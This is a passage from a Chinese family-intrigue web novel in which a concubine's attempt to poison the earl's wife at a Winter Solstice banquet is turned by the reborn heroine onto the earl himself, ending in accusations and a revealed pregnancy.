谢窈点点头,谢明安能将谢枝的名字,放到太后选进宫的女子名册里,证明她这个爹,一定还有什么不为人知的手段。 这个手段,或许和太后本人有关,或许牵扯到安平侯,更可能和芝黛有所关联。 傍晚时候,大部分马车被砸的京中贵女,世家公子陆续离开,剩下三五个实在来不及回去的,伯府安排了客房,还邀他们晚上一起用宴。 其中就有之前替谢窈说话的何夫人。 晚宴是家宴,许素素也要出席。 前世谢窈因为落水,并没有参加。 这次,落水的人换成了谢老夫人。 谢成柏被打了板子,禁足在二房院子里,陪他还半死不活,神志不清的大哥谢成榆。 还没到开宴的时候,谢窈正想谢明安的事,七两求见,神色透着异样。 今天孙姨娘在冬至宴格外低调,事出反常必有妖,她一直让七两盯着。 “小姐让小的盯孙姨娘手底下人的动向,半个时辰前,小的瞧见刘嬷嬷在厨房外鬼鬼祟祟的,还跟膳夫说小姐您喜甜食,要加几道菜。” “终于来了。”谢窈瞳孔微凝,长舒一口气。 “孙姨娘,你知不知道,我等你等的好苦啊。” 她叫来忍冬,问她曼陀散解药研制的如何了。 自从前些日子知道母亲肺痨加重,是孙姨娘下曼陀散导致,忍冬就一直在研究解药。 平时母亲治肺痨的药,也都由忍冬把关,并无问题。 想来,在她回京后,就没人敢再对母亲下毒了。 不过忍冬也说,若不是发现伯夫人中了曼陀散的毒,又有舅舅送来的平肺膏,只吃着治肺痨的药,母亲最多只剩一年寿命。 孙姨娘,是想让母亲神不知鬼不觉地病死! 前世,在她嫁给陆慎言不到半年,母亲果然病入膏肓,最后自尽身亡。 孙姨娘为了上位,为了她腹中胎儿,可真是迫不及待。 忍冬道:“奴婢有头绪,但尚不确定。” 谢窈遗憾地摇头,心想,既然暂时没有解药,她只能把孙姨娘的毒药喂给别人了,否则,她倒是可以将计就计。 她站起身,和母亲一起,来到饭厅。 向来冬至宴的晚宴,家族人都是要越齐全越好,所以除了谢成柏谢成榆,还有落水后高烧的谢老夫人不在,其他人,包括谢明安其他几个妾室,谢二爷和二房夫人等人都来了。 今晚的孙姨娘和二房夫人坐在一起,安静寡言。 谢明安上前,搀扶许素素坐到他的主位旁边,又让谢宴谢窈坐在许素素身边。 “夫人体弱,今日宴席上的饭菜偏清淡,都甚好克化。”他温和地说,还亲自盛了一碗莲子羹,放到许素素面前。 京中早有传闻,说文昌伯宠妾灭妻,但今日在外人面前,谢明安却表现得对妻子格外关心爱护,仿佛要力证传闻虚假。 “母亲,饭食若不合口,就少吃些,回头我们回去再吃。”谢窈道。 许素素:“这话应该我跟你说。” 谢宴睨视一圈,忽然扬声道:“今天这家宴,少了几个碍眼的东西,吃着真是舒坦。” 谢家二房一家听到这意有所指的话,咬了咬牙,默不作声。 谢明安也装没听见。 谢窈又凑上前,用玩笑的语气说:“姐姐,其实我也早就看谢成柏不顺眼了,今日父亲惩治了他,还不够痛快,要么,干脆趁他病要他命,斩草除根吧。” 他眼底闪过一丝杀意,压低了声音,只有谢窈和许素素能听到。 第77章 孙姨娘要害的,不是她? 谢窈回头看谢宴,他的眼瞳很黑,眉眼染着笑意,仿佛在问天气如何,实际上,却是在决定要不要杀了谢成柏。 “胡闹。”许素素沉声道。 谢宴笑了笑,没有再说什么,视线瞥向二房几人,眼底闪过一丝残忍。 家宴尚未开席,几名贵女围上来,语气热络地有些刻意。 “晚辈平日甚少见到伯夫人,您今日的气色,可真是好多了。” “小伯爷玉树临风,一表人才,和二小姐与伯爷坐在一起,真是一家子天人之姿。” “伯夫人为何不常出来,让晚辈好生惦记。” 文昌伯一家坐在一起,谢窈姿容过于出众,她的弟弟谢宴同样丰神俊朗,和文昌伯的眉眼极为相像。 文昌伯年轻时,是京中赫赫有名的美男子,即便现在人至中年,仍旧保养得很好,不失当年风采。 倒是伯夫人许素素,面容过于清瘦憔悴,相貌有些寻常,和谢二小姐并不像。 听说,伯夫人还是商贾出身,府中中馈,都落在孙姨娘手里。 这话她们也只是心里想,不可能说出来。 江家女看不上谢家,不代表别人也看不上。 文昌伯唯一的嫡子谢宴尚未娶妻,她们中有的人,还想攀附伯府这门亲事。 之前让谢窈向许素素问好的何夫人,此刻见到她,难掩激动。 “今日要不是恰好留在伯府,还看不见伯夫人,我倒要多谢靖北王砸车之举了。”何夫人调侃道。 许素素:“是何家姐姐?我与何姐姐,也有许久未见,姐姐还是这样热心直爽。” 何夫人叹道:“上次见到妹妹,是五年前冬至宴,妹妹明明风采依旧,为何总是闷在院子里?” 另一个贵夫人附和:“我上次见到伯夫人,也至今六七年了,难不成,是文昌伯不让你出来?” 谢窈垂眸听着,只见谢明安面色有些难看,却要强行挤出僵硬的笑脸。 如果谢老夫人在,此刻必然会说,母亲是商贾之女,上不了台面,抛头露面会丢伯府的脸面。 但现在谢老夫人不在,谢明安就是装,也得装出一副大度的样子,任由几个贵夫人与许素素交谈。 聊了几句,何夫人又道:“伯夫人就该多出来,与我们一同逛逛街市,打打叶子戏,也好消磨光阴,不如改日我就来府上叨扰,伯爷不会不允许吧?” “本伯当然允许。”谢明安想起京中传闻,咳了咳,和善地回回应何夫人。 现任礼部尚书,是个清廉尊礼,名声不输他的三品高官。 何夫人是礼部尚书夫人,平日里好管闲事,偏偏她最知规矩,京中贵夫人都说她古道热肠,人品贵重。 他但凡表现出一丁点不对,就何夫人这张嘴,明天全京城都得说他宠妾灭妻。 谢明安头疼得很,抬高声音,像在跟众人解释:“夫人的身子骨不好,不能见风,平时照看更是一点也马虎不得,这才甚少出门。” 换言之,许素素不常露面,是因为她自己的身子,和他无关。 “夫人,你说是不是?”谢明安俯身靠近许素素,在她耳边询问。 许素素身体骤然僵住,感觉自己像被一条毒蛇贴上。 “伯爷说的是……”她身子发冷,脸色愈发苍白,低声说。 谢窈拉住母亲桌下的手,抬起眸,眼神冷锐:“父亲既然问心无愧,何必再问母亲?” 宴席上气氛僵了僵,谢明安眯起眸子,转移话题道:“今日是冬至宴,应该先用膳再饮祛灾冬茶,时辰到了,开宴吧。” 十几个丫鬟依次上菜,不多时,桌上便有了上百道佳肴,道道精致可口,青玉金银的器具碗碟,也依次放在众人面前。 宴席上几位留在谢家的贵夫人和京中贵女,都是达官显贵出身,看见这家宴,也暗暗感叹谢家阔绰。 谢明安坐在主位,由他书斋里近身伺候的朱嬷嬷布菜,他先用了,其他人才开始让自家下人布菜。 “这桂花白玉糕,是本伯请祥悦斋的点心师傅做的,诸位尝尝适不适口。” “这道燕窝八仙什锦鸭,是府中膳夫的拿手好菜。” 谢明安主动介绍起菜品,想通过这些珍馐佳肴,来彰显伯府的体面。 为了表现自己对许素素的爱护,他又指着桌上一道炙鱼脍,眼神缱绻:“夫人,这是我命人寻来的江州鲈鱼,送到府上时还鲜活着,你尝尝,是不是家乡的味道。” 江州是许家发家之地,是许素素的家乡。 桑若给许素素布菜。 鱼肉莹白细嫩,许素素吃了两口,微微颔首:“多谢伯爷,鱼脍确实鲜美。” 谢二爷见此,不由道:“这江州鲈鱼,市价抬高几倍都难寻呢,大哥对大嫂这份心,真是任何人都比不了。” 谢明安笑起来,一扫之前的阴沉:“饭菜既已上桌,今日是我谢家家宴,没有那么多规矩,诸位尽情享用。” 谢窈却没有动筷,她还在思忖,孙姨娘究竟会在什么地方给自己下毒。 饭菜?眼前这一大桌满汉全席,总不能全都有毒,难不成孙姨娘想毒死全家,外加几个外人? 若她见自己喜欢甜食,往甜食里下毒,她看着桌上十几道甜羹菜肴,其他人也吃了不少。 难不成碗筷有问题?她低头看了看,自己的碗碟筷子,与旁人并无不同。 谢窈余光瞥着孙姨娘,心腹刘嬷嬷就在她身后布菜。 见这主仆二人始终没有动静,谢窈起身道:“我去更衣。” 机会,她已经给出去了,就看孙姨娘能不能抓住。 谢窈特意带着忍冬离开饭厅,在外面回廊看了一会儿风景,蒲苇忽然领着一个小丫鬟出现。 “小姐,这丫头找到晚香院,说有要事,非要见你。” 蒲苇道:“现在见到小姐了,说吧,到底什么事。” 小丫鬟是茗儿,原本是孙姨娘外院的丫鬟,此前在马厩,替她护下了马匹。 此刻,茗儿神情紧张,浑身都在颤抖。 谢窈猜测她是看见了什么,和孙姨娘要下毒有关。 “不要怕,慢慢说,我听着呢。”谢窈神情镇定。 看见二小姐如此冷静,茗儿用力点头,心中也安定了几分,道:“二小姐,奴婢看见刘嬷嬷支开了做炙鱼脍的膳夫,还,还往里面放了什么调料!奴婢怀疑刘嬷嬷要下毒!” 孙姨娘要下毒,谢窈早就知道。 只是,听到“炙鱼脍”三个字,她面色微变:“你说你看见,刘嬷嬷往什么里下毒了?” “奴婢亲眼所见,是炙鱼脍。” 忍冬也听懂了什么,连忙安抚:“小姐,宴席中每道菜,吃的人何其多,往饭菜里下毒,孙姨娘不敢的。” “蒲苇,你先将茗儿带下去,看护好,”谢窈沉声吩咐,“再去叫七两,让他现在去胜济堂找舅舅,请两个大夫来,记住,要两个。” 说完,她带着忍冬,立即回到席间。 谢窈入座,第一时间看向桌上那道炙鱼脍。 这道菜,是文昌伯给伯夫人从家乡江州寻来的鲈鱼,宴席上其他人,并没有吃。 也只有许素素,在一开始用了两口。 谢窈深吸一口气,呼吸都沉重了几分。 早在她回京前,母亲已经被下曼陀散的毒,如果没有解药,最多只剩下一年寿命。 所以谢窈万万没想到,孙姨娘要害的,不是她,而是许素素! 第78章 将计就计,茶里有毒! “怎么了?” 许素素看出谢窈精神的紧绷,低声询问。 谢窈的性子,虽然在外张扬,还常常拉着她要新衣裳撒娇,有时候开起玩笑来,也是着实气人,但平时都是从容冷静,这还是她第一次在女儿身上,感受到强烈的不安。 “母亲可有感觉身体不适?” 谢窈内心无比凝重,声音低哑,有一丝颤抖。 许素素静默了一会儿,摇了摇头:“我来时候听忍冬的话,吃了药的。” 忍冬仔细观察,也发现她面色如常。 “二小姐别急,或许茗儿看错了。” 谢窈的心并没有放松,她抬起眼眸,看向坐在对面的孙姨娘。 茗儿不可能看错,她不日后就要嫁去靖北王府,如果孙姨娘要害自己,今晚家宴,就是最后的机会。 若是想害母亲,且不说她时刻盯着,晚香院也有独自的小厨房,母亲平日不会与旁人一起吃饭。 孙姨娘只会在现在下手。 在炙鱼脍上动手脚,证明她的确是个聪明人。 炙鱼脍,因为是文昌伯特意从江州,给伯夫人寻来的家乡特产,所以宴席上其他人,都没有动这道菜。 谢窈上一世曾经努力了解过自己父亲的喜好,她知道,谢明安不爱吃鱼。 而母亲不管喜不喜欢吃,既然谢明安劝说,她都会象征性尝几口。 无论如何,现在母亲已经吃了,又没感觉到任何不适…… 孙姨娘不可能做无用功,问题出在哪里? 许素素也意识到了什么,她小心翼翼地,主动牵住女儿的手。 谢窈的手心冰凉。 “阿窈别怕,娘没事。”她轻声说。 这一声娘,让谢窈鼻子发酸。 这时,她余光看见何夫人尝了一道菜肴,接过身后下人端着的清茶,漱口后,将茶水吐在瓷盂里。 谢窈眼底中闪过一道精光,整个人忽然松懈下来。 她明白了! 为何孙姨娘敢在炙鱼脍中做手脚,又为何,母亲吃了有问题的炙鱼脍,竟然没事。 她眼神凌厉,吩咐桑若:“你此刻离席,去守着后厨膳房泡祛灾茶,除了原本泡茶的下人,任何人都不得接近,尤其是……刘嬷嬷,她要是敢硬闯,你就把事情闹大。” “奴婢明白了。”桑若知道事关重大,立即悄悄退下。 等她离开,谢窈示意忍冬给自己夹一块鱼肉。 谢窈能感受到母亲攥自己的手紧了紧,是在担忧她。 她神情如常,侧头,对母亲报以淡淡的微笑,无声地说:没事。 迎着对面孙姨娘深沉的眼神,谢窈拿起玉箸,尝了尝。 鱼肉入口鲜美,有一种特殊的清甜,味道不错,的确是江州鲈鱼。 “这个季节,寻来江州鲈鱼,父亲怕是要费不少功夫吧。”谢窈忽然开口。 谢明安惊讶她居然会说好话,却还是顺势道:“只要夫人吃得好,本伯不过是举手之劳。” “今日这道炙鱼脍做得很好,父亲可要尝尝?”谢窈勾起唇角,问道。 她看向谢明安身后的朱嬷嬷:“劳烦嬷嬷,替父亲夹去尝尝鲜。” 谢明安不爱吃鱼,皱了皱眉,想要拒绝。 果然,孙姨娘在听到她让谢明安吃鱼的霎时间,脸色一白。 “伯爷素日不喜鱼虾之物,嫌味道腥,二小姐还是不要强人所难了。”孙姨娘突兀地说,像是在为伯爷着想。 “可父亲刚才不还说,这是特意给母亲寻的江州鲈鱼吗,父亲难道不想尝尝母亲的家乡风味?” 谢窈转头看向谢明安,又说:“正因父亲不爱吃鱼,却为了母亲品尝,才能彰显我谢家伯爷和伯夫人夫妻和睦,夫唱妇随,传出去,也不失为一桩美谈。” “何况,这鱼做的极好,一点也不腥。” 谢窈这话,像是一根软刺。 谢明安最好名声,今天席上何夫人等人也在,既然已经在外人面前装出爱护妻子的样子,演到一半不演了,更会被说成虚情假意。 他挺直腰板,对朱嬷嬷点头。 朱嬷嬷是他住宅内近身伺候的中年嬷嬷,深受他信任。 “窈儿说的对,本伯对江州也十分神往,这道菜,为了夫人,自然是要尝尝的。” 朱嬷嬷夹了一块鱼肉,放到碟内:“伯爷请用。” 谢明安只吃了一块就放下筷子,温声道:“嗯,是比京中的鱼味道好。” 孙姨娘的心已经提到了嗓子眼,心跳如雷,恨不得站起来阻止,但是在众人面前,她只能强装镇定。 直到看见谢明安真的吃了,她连忙对刘嬷嬷道:“快去处理干净。” 谢窈看着谢明安咽下鱼肉,又看着刘嬷嬷离开宴席,眼神平静。 用过膳,下人端来冬至日的祛灾茶,挨个给众人奉上。 这是冬至宴的习俗,先由伯府男丁一起去祠堂烧香祭祖,游园赏梅,然后吃桂花团子,最后是晚上家宴结束,饮一盏象征辞旧祛灾的茶水。 孙姨娘接过茶,坐立难安,额头渗出细密的冷汗,忍不住回头张望。 刘嬷嬷一直没有回来,也不知能不能把事情处理干净。 最重要的是,伯爷也吃了那鱼脍…… 她的手抚上自己微微隆起,却还并未显怀的小腹,喃喃道:“我儿要保佑伯爷福禄双全,平安无事。” 一旁二房夫人听到她嘀咕,问道:“馨兰,你说什么呢?” 孙姨娘连忙抬起头,挤出端庄温和的笑容:“没事,没事。” 谢窈盯着面前清澄明亮的茶水,重新抬起头,看向主座的谢明安,眼神淡漠。 眼底最深处,藏着冷戾的杀意。 谢明安先举起茶盏,道:“这是冬至日,伯府后园梅花初雪泡的普陀佛茶,饮之祓禊祛灾,安康顺遂,诸位请用。” 说着,他首个抿了一口佛茶。 其他人见到身为主人的文昌伯先饮,也跟着端起茶盏,又看向伯夫人。 许素素刚接过茶盏,还没碰到唇—— “噗!” 谢明安捂住口鼻,一口血从指缝喷出,溅在了面前的青玉瓷盘上! 他手中一抖,茶盏掉落破碎。 下一刻,谢明安瞪大双眼,直挺挺地往后倒去。 朱嬷嬷惊呼出声:“茶里有毒!” 第79章 渣爹中毒,查到孙姨娘! 朱嬷嬷的话无人在意,整个宴席在谢明安吐血时,就炸开了锅。 只见他倒在地上,喉咙里嗬嗬作响,胸膛也剧烈地起伏着。 他死死地盯着地上破碎的茶盏,双眼瞪得巨大。 “伯爷吐血了!” “怎么会这样——” “大哥!大哥!” 一些胆小的贵夫人尖叫着就要往外逃,不小心掀翻了椅子,周围乱作一团。 谢家二爷震惊地喊了两声,回过神来,烫手山芋般丢掉手里的祛灾茶,然后低头盯着谢明安,像是呆住了。 二房夫人更是抱着瑟瑟发抖的小儿子,不停安抚。 谢明安其他三个小妾吓得瘫倒在地,哭了起来。 谢枝也掉下眼泪,梨花带雨地喊着父亲,不过,她并没有要上去看的意思。 孙姨娘连滚带爬地扑上去,不复平时的端庄持重,凄厉地哭诉:“伯爷,伯爷你怎么了,你不要吓唬妾身!” 场面实在混乱,没有人注意到她眼底紧张而慌乱。 谢窈放下手里的茶水,稳稳地搀扶惊惶不安的母亲坐到一旁扶手椅,轻拍她的手,示意她不必担心。 她冷眼看着谢明安呻吟,背脊笔直如竹。 “诸位客人不要惊慌。”半晌,谢窈才开口。 声音不高,但带着股摄人的冷静,让吵闹的人群静下几分。 “伯爷喝茶后吐血,证明此茶有毒,”她扫过桌上每个人面前的茶盏,语气平铺直叙,“但诸位不必担心,除了伯爷,我们都还没动祛灾茶,不会有事。” 众人的手齐齐一抖,茶盏摔了满地,每个人都心有余悸地抚着胸口。 这哪里是祛灾茶,分明是夺命茶啊。 这辈子再也不来谢家的冬至宴了! 谢窈使了个眼色,道:“忍冬,骑马去胜济堂请大夫过来,就说文昌伯有急病,速去速回。” 忍冬表面领命离开,实际上,她看出二小姐眼里没有一点担心,所以懂得到底该怎么做,出门就了找个地方蹲着。 “二叔愣着干什么,难不成毒是你下的?”谢窈又道,“还不将这一桌饭菜都看管好,事后才能调查清楚。” “谢宴,父亲中毒昏迷,你是家中嫡子,现在不该惊慌失措。带人去后厨,将今日沏祛灾茶的人都控制起来,至于报不报官,先等大夫来,看父亲死,情况再定夺。” 一连串的吩咐清晰利落,有条不紊。 谢二爷本想大呼冤枉,此刻却下意识听从了她的话。 他是冤枉,然而,谢明安要是没了,谢宴这个唯一的嫡子尚未及冠,他身为二房,说不定就能成为谢家家主,成了最受益的人。 这么看来,他确实最有可能下毒。 正是因为如此,谢二爷更没法喊冤,只盼谢明安没事,谢窈能调查清楚。 谢宴听到谢窈的话,毫不犹豫地领着一队家丁,去了后厨膳房。 实际上,谢窈早已让七两去请了舅舅胜济堂的大夫,此刻,大夫都要到伯府了。 但这件事急不得。 万一大夫还没来,谢明安被毒死了,倒是省事。 角落里,惊魂未定的何夫人攥着手帕,看见谢窈挺直的身影,不禁心中惊叹,这谢家二小姐,倒比伯府满屋子的男人女人都冷静,沉得住气。 这时,就见先前飞快离开的朱嬷嬷,不知从哪处挤进人群,一把撞开孙姨娘。 “一边去,奴婢要给伯爷施针。” 她顾不得遵规矩,打开针灸包,取出银针,迅速封住谢明安几个大穴,让毒性不再蔓延。 谢窈眯起眸子,心里不由生出遗憾。 孙姨娘敢当众给母亲下毒,是因为母亲本身就体弱多病,如果突发急症,不会引人怀疑。 所以,这毒的分量必然不会太重,不能让人直接口吐黑血。 看谢明安的样子,如果没有喷那口血,更像什么急病发作。 眼看朱嬷嬷扎了针,她知道,她爹的命保住了。 果不其然,片刻后,文昌伯身体不再抽搐,但仍旧面如金纸地昏死着。 朱嬷嬷检查了他的口鼻,再端起一盏祛灾茶用银针试毒,最后轻嗅茶水,面色悄然一变。 只有谢窈注意到这个细微的变化。 朱嬷嬷定了定神,从药包中取出个青色小瓶,倒出一枚丹药,撬开文昌伯的嘴塞了进去。 谢窈眸光一沉。 这是解药? 下毒的人,是孙姨娘。 但文昌伯身边的朱嬷嬷,不仅会施针救人,还能这么快看出谢明安中了什么毒,然后拿出解药? 她猜到了一件事,明悟了一件事,内心,翻涌起控制不住的戾气。 丹药入口,谢明安的呼吸终于平息。 又过了一盏茶时间,他眼皮颤抖起来,总算哼出声。 朱嬷嬷道:“万幸,伯爷中毒入腹时间尚短,且素来身体强健,这一番救治,应当是没事了。” 周围人都松了一口气。 那几个京中贵女抱作一团,很想离开,但一时之间又走不了,只能看热闹,虽然她们并不想看。 今天文昌伯府太热闹了,她们已经看麻木了。 孙姨娘听到谢明安没事,整个人就如同被抽去了骨头,软软地瘫倒在地上。 只是,她这口气还没松到底,就见谢宴带着家丁,押来一群丫鬟,回到了饭厅。 她的心腹刘嬷嬷,就出现在其中。 孙姨娘朝着刘嬷嬷使眼色,刘嬷嬷正内心惶恐,并没有注意到。 谢明安被两个下人抬到边塌上,转动眼珠,慢慢睁开眼。 “谁……要害本伯?” 他缓过一口气,艰难地嘶吼。 朱嬷嬷道:“伯爷,茶里的确有东西,不过您别担心,老奴已经给您喂了解毒的丹药。” 谢宴带人上前,第一个看谢窈,想炫耀自己办事的效率。 但姐姐没看他,他只好收敛目光,说道:“父亲,这几个是今晚碰了祛灾茶的下人,下毒者,必然在她们之中。” 闻言,众丫鬟全都跪下,拼命磕头,一个个解释起来。 “奴婢,奴婢只是个沏茶的,不敢下毒啊。” “我等奉伯爷的命令,卯时去后花园采集梅花上的雪水,同去同归,之后煮沸水也是两人一起,可以互相作证,绝不敢害伯爷。” “那佛茶是库房存的,沏茶时由孙姨娘交付掌家钥匙,翠儿,翠儿去领回来的!” 叫翠儿的丫鬟哭着辩解:“奴婢是去跟孙姨娘领了茶叶,但奴婢连茶叶盒子都没打开,求伯爷饶命,小伯爷饶命!” 谢宴眼神阴鸷,声音似含着冰霜:“既然都不承认,儿子以为,唯有严刑拷打,才能问出真相,就算下毒者不在她们之中,她们也有机会,看见真正下毒的人。” 文昌伯盯着跪成一片的丫鬟,正要点头,和沏茶丫鬟们一起进来的茗儿,扑通跪下。 “求少爷不要拷打她们,她们是无辜的,”她明明快要被吓哭,还是鼓起勇气,指向身旁的刘嬷嬷,大声喊道,“奴婢看见,是刘嬷嬷往炙鱼脍里下了东西!” 刘嬷嬷骤然色变,梗着脖子厉声道:“你个小贱婢,含血喷人,求伯爷明查,老奴冤枉!” 她就要冲上去扇茗儿,谢窈站到了小丫鬟前面,淡声道:“是不是冤枉,大夫来了便知,轮不到你在这里放肆。” 刘嬷嬷停下脚步,想起自己之前被扇巴掌罚了月钱,讪讪地跪下去。 谢明安青白着一张脸,眼神直愣愣盯着鱼脍,视线又在刘嬷嬷身上扫了一圈。 鱼脍…… 祛灾茶…… 他此刻实在头痛欲裂,难以分辨是非,只好看向朱嬷嬷。 朱嬷嬷立即又查验炙鱼脍,道:“伯爷,鱼脍里也有毒!” 谢宴看向孙姨娘,仍旧是那张顽劣俊朗的脸,早已没有谢窈刚回京时对她的维护。 “姨娘,若我没有记错,今日家宴是姨娘准备的,有毒的茶叶,也是这丫鬟从姨娘管的库房里领出来的。” 谢明安胸口鼓动,目光落在孙姨娘身上,吐出两个字: “贱妇!” 第80章 弃车保帅?渣爹要休孙姨娘 孙姨娘被这目光惊得魂飞魄散,忙不迭跪倒在地上,高呼:“伯爷,妾身冤枉!” 谢枝也跟着她娘一起跪下,和谢宴对视:“宴儿,母……姨娘对父亲的心,日月可鉴,你怎能这么说她,这一定是有人蓄意陷害。” “妾身可以对天发誓,若有害伯爷之心,必然五雷轰顶,不得好死!” 孙姨娘跪行到谢明安脚下,一只手指天立誓,眼泪断了线的珠子似的落下。 谢明安低头,盯着她,呼吸粗重:“还在,狡辩!” 孙姨娘环顾周围,抱住谢明安大腿,哭得肝肠寸断。 “伯爷,枝枝说得对,肯定是有人想陷害妾身,伯爷就是妾身在谢家的天,是妾身安身立命的倚仗,妾身没有理由害您啊。” 谢明安的腿一抬,狠狠将她踹翻。 因为过于用力,他一下子喘不上来气,被朱嬷嬷抚着胸口平复,却还指着她,眼神阴冷似毒蛇。 “伯爷,妾身真的没有……” 孙姨娘爬起来,她发髻散乱,暗中护着自己肚子,伏跪在地上垂泪,好不可怜。 一名贵夫人看不过去,道:“伯爷,孙氏说的没错,她好端端的,何必害你呢,其中怕是有什么误会。” 何夫人摇了摇头:“不是说这刁奴往鱼脍里下毒了吗,宴席上,我倒是看见,她一直站在孙氏身后,若非孙氏下令,她一个下人,不敢如此。” 二房夫人忽然想起之前,孙姨娘借刀杀人,暗中撺掇自己两个儿子去马厩,跟谢窈争马骑。 又想到孙姨娘,打断了她大儿子的一条腿。 “何夫人说的是,伯府无人不知,刘嬷嬷是孙氏从母家带来的陪嫁丫鬟,一直替她办事,刘嬷嬷做了什么,也一定是她指使的。” 她心中恨意乍起,附和何夫人的话。 “住口!你个胡说八道的贱人!谁不知道,伯爷若有事,你家就能顶上位置,说不定陷害我的,就是你和二爷!” 孙姨娘不敢反驳何夫人,但直接骂了二房夫人。 谢二爷冲上前:“大哥,我亦可以对天发誓,此事与我无关!” “二爷说得好听,为何伯爷刚才昏迷的时候,你一动不动,岂不是心里有鬼?” “你——如果是我下毒了,我怎会听从二小姐吩咐,护下满桌铁证!” 眼看两人要争吵,蒲苇忍不住替谢窈开口:“孙姨娘手里有掌家钥匙,祛灾茶叶是从她掌管的库房取出来的,想使手段,岂不是轻而易举。” “主人说话,哪有你这贱婢插嘴的份。”孙姨娘吼道。 谢明安断断续续地说:“掌家钥匙,在你手里,茶,是你拿出来的……你还有什么好说的。” 孙姨娘声泪俱下:“伯爷,正因谁都知道妾身拿着掌家钥匙,妾身才被人陷害至此。” “且不说妾室绝不会害伯爷,妾身就算要下毒,怎会在家宴上动手,如此明目张胆,冒这么大的风险,妾身不会这么蠢!” 听到孙姨娘的辩解,在场的人神情各异。 她说得对,她一个伯府妾室,确实没有理由害伯爷,还是在家宴上。 连谢明安仔细想来,眼神,都极为不解。 他想起那有毒的鱼脍,暗中瞥了眼默不作声的许素素,大脑一阵刺痛,隐隐感觉自己忽略了什么,却无论如何也想不出来。 “此招虽险,却最有胜算。” 谢窈悠悠地说,恰到好处地截断谢明安深思。 “宴席上,只有我和母亲父亲吃了鱼脍,再饮茶后,母亲本就体弱,她若中毒,没人会发觉和饭食茶饮有关。” “姨娘不是一直将我,视作眼中钉肉中刺吗,所以,害母亲的同时,顺势让我暴毙而亡。” “而父亲作为家宴东道主,首个饮茶,他若死了,别人第一个怀疑的,也是二叔。” 谢二爷点头如捣蒜:“是,是啊,二小姐明察秋毫,弟弟怎敢害大哥!” 谢明安的眼中重新燃起怒火。 孙姨娘瞠目结舌:“不,我……我疯了吗,我在众目睽睽之下毒死你们三个?!我没有,我——” 没等她又要开口,桑若突然站出来,再次指向刘嬷嬷。 “姨娘若没有,为何众丫鬟沏茶的时候,刘嬷嬷在外面鬼鬼祟祟?为何茗儿一个你院内的丫鬟,会指认刘嬷嬷?” 她声声质问,响彻厅堂。 “她三番五次想进入茶室,要不是奴婢奉伯夫人的命令,按照老祖宗的规矩,祛灾茶不得有人打扰,一直守在外面,不知她是不是要毒死全席人呢!” 沏茶丫鬟翠儿急忙道:“没错,奴婢也看见刘嬷嬷在沏茶时想要闯进茶室,幸好桑若姑娘拦住了她!” 何夫人惊骇地出声:“孙姨娘,你不但要害伯爷,还要让这个老刁奴,害死我们所有人?” 所有人都盯着孙姨娘和刘嬷嬷,一想到她们差点死在这对主仆手里,都心有余悸。 刘嬷嬷浑身发软地倒在地上,在谢窈冷戾的目光下,她甚至不敢反驳。 “啪!” 谢枝忽然跳起来,狠狠扇刘嬷嬷一巴掌。 “你个老货,说,为什么要害父亲,为什么还要嫁祸母亲,谁收买的你!” “老奴,老奴怎敢——” 刘嬷嬷被打狠了,脸上明晃晃一个青紫的巴掌印,嘴角也渗出血。 谢枝这一巴掌,把孙姨娘也打醒了,她对上谢明安愤恨至极的眼神,猛地转向刘嬷嬷。 “妾身该死,竟不知这老货如此歹毒阴狠,妾身御下不严,求伯爷责罚。”她厉声道。 事到如今,不得不权衡利弊,让这奴婢顶罪。 刘嬷嬷呆住片刻,回过神来,定定地望着孙姨娘和谢枝。 自己,成了这母女俩的弃子? “你们,你们……姨娘,老奴可是您的陪嫁嬷嬷,一直对您忠心耿耿!” 孙姨娘声音沉了下去:“你这奴婢,我待你也不薄,当初看你年迈可怜,又给你侄子安排差事,又送你金银首饰,真是一腔真心喂了狗,让你敢谋害伯爷,如今还敢攀咬我!” 刘嬷嬷面色惨白,嘴唇颤抖。 听到这话,在场的众人,都露出戏谑看戏的表情。 他们不是傻子,岂会看不出孙姨娘这是在弃车保帅? “父亲以为呢?” 谢窈见谢明安气喘匀了,立即把问题抛给他。 谢明安一个呼吸不畅,又激烈咳嗽起来,半晌才恢复。 他惜命,比任何人都惜命。 而且他也不是傻子。 所以,他现在恨不得杀了孙姨娘和刘嬷嬷。 “你以为,本伯会信?” 谢明安阴沉地,一字一顿反问。 “本伯今日,要休了你这个毒妇。” 第81章 孙姨娘自爆底牌,王爷来了 谢二爷刚才被孙姨娘拉出来,差点被怀疑弑兄,闻言,立即取出笔墨纸砚。 “大哥,给你。” 休吧,快休,他是怕了谢窈,也怕了孙姨娘了。 自己两个儿子,都在这两个女人的明争暗斗被嚯嚯完了,文昌伯休一个孙姨娘,等谢窈再嫁出去,伯府就安生了。 谢二爷是恨谢窈,但他习惯窝囊地活着,好不容易想给二儿子寻一门亲事也黄了,只好更唯唯诺诺,唯文昌伯命是从。 谢宴眼神清幽,看了一眼谢窈:“父亲说错了吧,孙氏不过是您的侧室,若犯错了,发买了就好,她也配您写休书?” 何夫人听到这里,咂舌这小伯爷也是心狠凉薄,道:“孙氏本是朝中孙药令之女,伯爷若是恨她下毒,将她遣返夫家便好,也给了孙家一个交代。” 谢明安微微点头,家丁就要拉扯孙姨娘。 “父亲,父亲不要啊!” 谢枝跪着上前,拉住谢明安的衣角,哭嚎着替母亲求情。 孙姨娘却没有说话,只是直愣愣地盯着他,似乎不敢相信,他真如此绝情。 谢明安低头,铁青着脸看谢枝:“你为这个毒妇求情,莫不是,你也想害本伯,你在怨本伯,没促成你的亲事?” 谢枝僵住了,瑟瑟发抖地摇头:“枝枝不敢。” 孙姨娘环视众人,仰起头,看见安然无恙的许素素,还有那如竹玉立的谢窈,心中万分不甘。 她抬起头,眼神哀怨婉转,声音凄厉至极:“伯爷,妾身腹中又怀了您的孩子,妾身,绝不敢谋害您!” 原本,她想等这胎显怀坐稳后,再告诉伯爷。 但是现在,既然谢窈步步紧逼,谢明安也不信她的话,她,只好拿出自己翻盘的底牌。 这话说出,厅堂骤然一静。 连谢枝都怔住了,她作为孙姨娘的女儿,竟不知姨娘怀孕。 谢明安的呼吸加重,眼底的怒火与恨意,竟然慢慢褪下去,目光落在孙姨娘腹部。 孙姨娘道:“伯爷,妾身寻了父亲前来诊治,已经有两个月的身孕,胎相安稳。” 不需要朱嬷嬷提醒,谢明安就确定,她没有骗自己。 前些日子,孙姨娘的父亲孙药令到伯府后,来找他说了别的事,当时他就察觉,孙药令面带喜色,好像发生了什么好事。 现在,孙姨娘不必说,他已经明白,她腹中的,是个男孩! 谁也没注意到,谢枝听到两个月身孕这句话,身侧的手骤然攥紧。 